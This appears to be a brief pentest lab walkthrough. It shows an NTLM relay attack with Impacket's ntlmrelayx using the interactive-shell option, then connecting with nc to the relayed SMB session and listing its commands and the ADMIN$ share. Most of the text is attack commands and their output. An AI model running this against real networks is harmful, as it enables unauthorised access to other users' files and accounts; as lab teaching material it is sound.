

ADD OPTION -i (INTERACTIVE SHELL)

ADD OPTION -i (INTERACTIVE SHELL)

INTERACTIVE SHELL IS THAT USER CAN INTERACT WITH THAT SHELL

```
(trisoan@ kali) ~$  
$ ntlmrelayx.py -tf target.txt -smb2support -i  
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation  
  
[*] Protocol Client LDAP loaded..  
[*] Protocol Client LDAPS loaded..  
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support  
for it is now deprecated in cryptography, and will be removed in the next release.  
[*] Protocol Client MSSQL loaded..  
[*] Protocol Client SMB loaded..  
[*] Protocol Client SMTP loaded..  
[*] Protocol Client HTTPS loaded..  
[*] Protocol Client HTTP loaded..  
[*] Protocol Client IMAPS loaded..  
[*] Protocol Client IMAP loaded..  
[*] Running in relay mode to hosts in targetfile  
[*] Setting up SMB Server  
  
[*] Servers started, waiting for connections  
[*] Setting up HTTP Server  
[*] SMBD-Thread-3: Received connection from 10.0.2.12, attacking target smb://10.0.2.14  
[*] Authenticating against smb://10.0.2.14 EL\fcastle SUCCEED  
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000  
[*] SMBD-Thread-5: Received connection from 10.0.2.12, attacking target smb://10.0.2.14  
[*] Authenticating against smb://10.0.2.14 EL\fcastle SUCCEED  
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11001  
|
```

```
(trisoan@ kali) ~$  
$ nc 127.0.0.1 11000  
Type help for list of commands  
# help  
  
open {host,port=445} - opens a SMB connection against the target host/port  
login {domain/username,password} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted  
kerberos_login {domain/username,password} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name  
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes  
logoff - logs off  
shares - list available shares  
use {sharename} - connect to an specific share  
cd {path} - changes the current directory to {path}  
lcd {path} - changes the current local directory to {path}  
pwd - shows current remote directory  
password - changes the user password, the new password will be prompted for input  
ls {wildcard} - lists all the files in the current directory  
rm {file} - removes the selected file  
mkdir {dirname} - creates the directory under the current path  
rmdir {dirname} - removes the directory under the current path  
put {filename} - uploads the filename into the current path  
get {filename} - downloads the filename from the current path  
mount {target,path} - creates a mount point from {path} to {target} (admin required)  
umount {path} - removes the mount point at {path} without deleting the directory (admin required)  
info - returns NetServerInfo main results  
who - returns the sessions currently connected at the target host (admin required)  
close - closes the current SMB Session  
exit - terminates the server process (and this session)  
  
# shares  
ADMIN$  
|
```